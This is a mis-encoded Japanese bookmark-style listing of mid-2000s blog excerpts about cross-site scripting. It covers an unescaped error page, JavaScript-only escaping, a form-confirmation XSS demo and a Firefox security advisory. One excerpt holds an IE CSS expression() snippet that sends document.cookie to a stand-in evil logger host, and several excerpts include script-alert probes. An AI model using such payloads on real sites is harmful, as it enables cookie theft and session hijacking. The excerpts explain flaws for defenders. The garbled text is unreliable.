Error Messageã«ãŠã‘る最もシンプルãªXSS回é¿æ³• : 404 Blog Not Found
2006å¹´12月02æ—¥04:30 カテゴリLightweight Languages Error Messageã«ãŠã‘る最もシンプルãªXSS回é¿æ³• 404 Blog Not Found:perl+javascript - ã¯ã¦ãƒ–ã¨çŸç¸®URLã®Mashupã®ãƒã‚°ãƒ•ã‚£ãƒƒã‚¯ã‚¹ã€‚ 技術メモ帳 - dankogaiã•ã‚“ã®ã‚¢ãƒ—リã®XSS エラーメッセージを出力ã™ã‚‹ã¨ãã« HTMLエスケープãŒã•ã‚Œã¦ãªã‹ã£ãŸã€‚ 見è½ã¨ã™ã¨ã“ã‚ã ã£ãŸã€‚ã“ã†ã„ã†å ´åˆã¯ã€TBãªã„ã—Commentãªã©ã€å…ƒè¨˜äº‹ã‹ã‚‰ç›´æŽ¥è¦‹ãˆã‚‹å½¢ã§å ±å‘Šã—ã¦æ¬²ã—ã„。 ãã‚‚ãã‚‚text/htmlã¨ã—ã¦è§£é‡ˆã•ã‚Œã¦ã„ã‚‹ã®ã¯ãŠã‹ã—ã„ã¨æ€ã£ã¦headerを見ãŸã‚‰ã€ % HEAD 'http://u.dan.co.jp/r.cgi/<script>alert('easy%20xss');</script>' 500 Internal Server Error Co
ã‡ãƒ¼ãƒ¼ãƒ¼ãƒ¼ãƒ¼ãƒ¼ãƒ¼ãƒ¼ãƒ¼ã£ï¼ï¼ï¼Javascriptã§XSS対ç–ï¼Ÿï¼ - ripjyr's blog
æŸæ‰€ã§ã€æŸå†…容をIPAã«å ±å‘Šã—ã¦ã€ä»Šæ—¥ä¿®æ£å®Œäº†ã¨å¸°ã£ã¦ããŸã®ã§ã™ãŒãƒ»ãƒ»ãƒ» ソース見ãŸã‚‰ã€Javascriptã§XSS対ç–ã—ã¦ã„ã¾ã™ã‚ˆï¼ã„ã„ã®ã‹ï¼Ÿï¼ input1 = input1.replace("<", "<");
飲食店ã§ã‚µã‚¤ãƒˆåˆ†é¡ž - èŒãˆç†è«–ブãƒã‚°
æµè¡Œã‚‹è¦ç´ を考ãˆã¦ã¿ã‚‹ 味…甘å£ã‚„è¾›å£ã‚„苦味や旨味や・自分一人ã§ã¯åˆ†ã‹ã‚‰ãªã„ 接客…コメント欄もトラãƒæ¬„ã‚‚ãªã„ブãƒã‚°ã¯ç«‹GUI蕎麦屋 立地…○×ニュースサイトã‹ã‚‰å¾’指1クリックã®ç‰©ä»¶ã§ã™ 値段…èªã‚€ã®ã«æŽ›ã‹ã‚‹æ™‚é–“ï¼å°‚門家ã®ãƒ–ãƒã‚°ã»ã©é«˜ã„ æ „é¤Šâ€¦æƒ…å ±ä¾¡å€¤ãƒ»æ „é¤ŠéŽå¤šã‚‚ãã‚Œã¯ãã‚Œã§å¥åº·ã«æ‚ªã„ 鮮度…生物（時事）ã¯è³žå‘³æœŸé™ä»˜ããƒ»åŠ å·¥é£Ÿå“ã¯æŒã¤ 内装…CSSやブãƒã‚°ãƒ‘ーツやイラストや動画やFLASHã‚„ ãƒã‚§ãƒ¼ãƒ³ç³»ãƒ»ç‰¹æ¨©éšŽç´šã‹ã‚‰å¤§è¡†ï¼ˆè¡†æ„šï¼‰ã¾ã§ 高級レストラン ä¼æ¥ãƒ»æœ‰å人ブãƒã‚°ã€Œã‚³ãƒ¡ãƒ³ãƒˆæ¬„ã¯ãƒã‚¯ã‚¿ã‚¤ç€ç”¨ã§ã€ã€Œåº—長を呼ã¹ã€ ファミリーレストラン ã¯ã¦ãƒ–人気エントリ「プãƒãƒ–ãƒã‚¬ãƒ¼ã®ç™»ç«œé–€ã€ã€Œã„ã¤ã¿ã¦ã‚‚GIGAZINE〠ファーストフード ã¯ã¦ãƒ–注目エントリ「ã¯ã¦ãƒ–ã§ã¯ã¦ãƒ–è«–ã€ã€Œéžãƒ¢ãƒ†ã®ã‚¹ãƒžã‚¤ãƒ«ï¿¥0〠牛丼屋 ï¼’ã¡ã‚ƒã‚“ãる「ãã‚“ãªäº‹ã‚ˆã‚Š1よã€ã€Œåƒ•ã®åŽ¨æˆ¿ã‚‚閉鎖ã•ã‚Œã¾ã—ãŸã€ ラーメン SNS「病ã¿ä»˜ãã«ãªã‚‹ã€
ウノウラボ Unoh Labs: Web Application Testing cheatsheet
ã“ã‚“ã«ã¡ã¯ï¼ã€€ã‚„ã¾ã‚‚ã¨ï¼ テスト番長ã§ã™ã€‚ 先日マサトã•ã‚“ã«æ•™ãˆã¦ã‚‚らã£ãŸã®ã§ã™ãŒã€ ã“ã‚“ãªã‚¦ã‚§ãƒ–アプリケーション用ã®ãƒã‚§ãƒƒã‚¯ã‚·ãƒ¼ãƒˆãŒã‚ã‚‹ãã†ã§ã™ã€‚ SECGURU: Web Application Testing cheatsheet ãªã‹ãªã‹é¢ç™½ã„ã®ã§ã€è»½ã日本語ã«ã—ã¦ã¿ã¾ã—ãŸã€‚（Special thanks to: ジュンヤã•ã‚“） ※間é•ã£ã¦ãŸã‚‰ã”ã‚ã‚“ãªã•ã„。　 1. アプリケーションåã¨ãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2. コンãƒãƒ¼ãƒãƒ³ãƒˆå 3. 通信プãƒãƒˆã‚³ãƒ«ã€€SSLãªã‚‰ã°ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã¨æš—å·æ–¹å¼ 4. パラメーターã®ãƒã‚§ãƒƒã‚¯ãƒªã‚¹ãƒˆ URLリクエスト URLエンコーディング クエリストリング ヘッダー クッã‚ー フォームフォーム（Hidden） クライアントサイドã®ãƒ´ã‚¡ãƒªãƒ‡ãƒ¼ã‚·ãƒ§ãƒ³ãƒã‚§ãƒƒã‚¯ 使用ã—ã¦ã„ãªã„余計ãªãƒ‘ラメータã®å˜åœ¨ æ–‡å—列長ã®æœ€å¤§/最å°å€¤ 連çµã—ãŸã‚³ãƒžãƒ³ãƒ‰ï¼ˆConcatenate
XSS - 表示系パラメータã«å˜åœ¨ã™ã‚‹ç›²ç‚¹ :: ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼
ã“ã‚“ã«ã¡ã¯ã“ã‚“ã«ã¡ã¯ï¼ï¼ クãƒã‚¹ã‚µã‚¤ãƒˆã‚¹ã‚¯ãƒªãƒ—ティングã®æ™‚é–“ã§ã™ï¼ XSSã¨ã„ã†ã¨â€¦ï¼ ã¾ã£ã•ãã«æ€ã„ã¤ãã®ãŒã€å…¥åŠ›ãƒ‡ãƒ¼ã‚¿é€ä¿¡ → 確èªè¡¨ç¤ºã®éƒ¨åˆ†ã§ã®ç„¡å®³åŒ–æ¼ã‚Œã§ã™ã‚ˆãï¼ ãŸã¨ãˆã°ã“ã‚“ãªæ„Ÿã˜ã®ãƒ•ã‚©ãƒ¼ãƒ ã‹ã‚‰å—ã‘å–ã£ãŸãƒ‘ラメータを〠確èªã¨ã—ã¦è¡¨ç¤ºã™ã‚‹ãƒšãƒ¼ã‚¸ã¨ã‹ï¼ (入力) <form action="register.cgi" method="post"> タイトル：<input type="text" name="title"> ↠「ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼ã€ã‚’入力 本文：<input type="text" name="body"> ↠「ã“ã‚“ã«ã¡ã¯ã“ã‚“ã«ã¡ã¯ï¼ï¼<script>alert(1)</script>ã€ã‚’入力 </form> (確èª) <p>ã“ã®å†…容ã§ç™»éŒ²ã—ã¦ã„ã„？</p> <p> タイトル： ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼<br> 本文： ã“ã‚“ã«ã¡ã¯ã“ã‚“ã«ã¡ã¯ï¼ï¼<script>alert
Firefoxã«å±é™ºãªã‚»ã‚ュリティ・ホール，最新版1.5.0.5ã§ä¿®æ£
Mozilla Foundationã¯ç±³å›½æ™‚é–“7月26日，Webブラウザ「Firefoxã€ã«ã‚»ã‚ュリティ・ホールãŒè¦‹ã¤ã‹ã£ãŸã“ã¨ã‚’明らã‹ã«ã™ã‚‹ã¨ã¨ã‚‚ã«ï¼Œã‚»ã‚ュリティ・ホールを修æ£ã—ãŸãƒãƒ¼ã‚¸ãƒ§ãƒ³1.5.0.5をリリースã—ãŸã€‚ç´°å·¥ãŒæ–½ã•ã‚ŒãŸWebページã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã ã‘ã§ä»»æ„ã®ãƒ—ãƒã‚°ãƒ©ãƒ を実行ã•ã‚Œã‚‹å±é™ºãªã‚»ã‚ュリティ・ホールãŒå«ã¾ã‚Œã‚‹ã€‚ã“ã®ãŸã‚Mozilla Foundationã§ã¯ï¼Œã™ã¹ã¦ã®Firefoxユーザーã«å¯¾ã—ã¦ã‚¢ãƒƒãƒ—グレードã™ã‚‹ã“ã¨ã‚’勧ã‚ã¦ã„る。日本語版をå«ã‚€å„国語版ã®1.5.0.5ãŒãƒªãƒªãƒ¼ã‚¹ã•ã‚Œã¦ã„る。 最新版ã®1.5.0.5ã§ä¿®æ£ã•ã‚ŒãŸã®ã¯ï¼Œä»¥ä¸‹ã®12件ã®ã‚»ã‚ュリティ・ホール。ã“ã®ã†ã¡ï¼Œã€ŒMFSA 2006-55ã€ã€ŒMFSA 2006-51ã€ã€ŒMFSA 2006-50ã€ã€ŒMFSA 2006-48ã€ã€ŒMFSA 2006-46ã€ã€ŒMFSA 2006-45ã€ã€ŒMFSA 2006-44
cookieã‚’ãŠé ã‹ã‚Šã—ã¾ã™: 悪æ„ã‚ã‚‹å…±åŒé ã‹ã‚Šæ‰€ - hoshikuzu | star_dust ã®æ›¸æ–Ž
<html> <body> <style type="text/css"> h1 { background#:/*;*/ expression('url(http://commonevillogger.example.com/log.php'+document.cookie+')'); } </style> <h1>heading</h1> </body> </html>上記ã¯Cookieを悪æ„ã‚るサイトã«é£›ã°ã™ä¾‹ã§ã™ã€‚IEã®ã¿å¯¾å¿œã€‚ （ã¡ãªã¿ã«ã€expressionを使ã£ã¦ã„ã¦ã‚‚commonevillogger.example.comã«ã¯ã€CookieãŒï¼‘回ã—ã‹é£›ã³ã¾ã›ã‚“。個人的ã«ã¯æ„外ãªæ„Ÿã˜ã§ã™ã€‚expressionを使ã£ã¦alertã—ãŸã‚Šã™ã‚‹ã¨ãƒ–ラクラã£ã½ããªã£ãŸã‚Šã€ã‚ã‚‹ã„ã¯ã€ãƒªãƒãƒ¼ãƒ‰ã‚’仕込んã§ã‚µãƒ¼ãƒã«è² è·ãŒã‹ã‹ã£ã¡ã‚ƒã£ãŸäº‹æ•…ã¨ã‹ã‚’知ã£ã¦ã„ã‚‹ã‹ã‚‰ã§ã™ã€‚AutoF5攻撃ã¿ãŸã„ãªã€‚） é–‘
1
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
https://labs.cybozu.co.jp/blog/kazuho/archives/2007/01/e4x-xss.php
[openmya:035806] IE ã«ãŠã‘ã‚‹ "expression" ã®éŽå‰°æ¤œå‡ºã«ã‚ˆã‚‹ XSS 㮠誘å›
{{#tags}}- {{label}}
{{/tags}}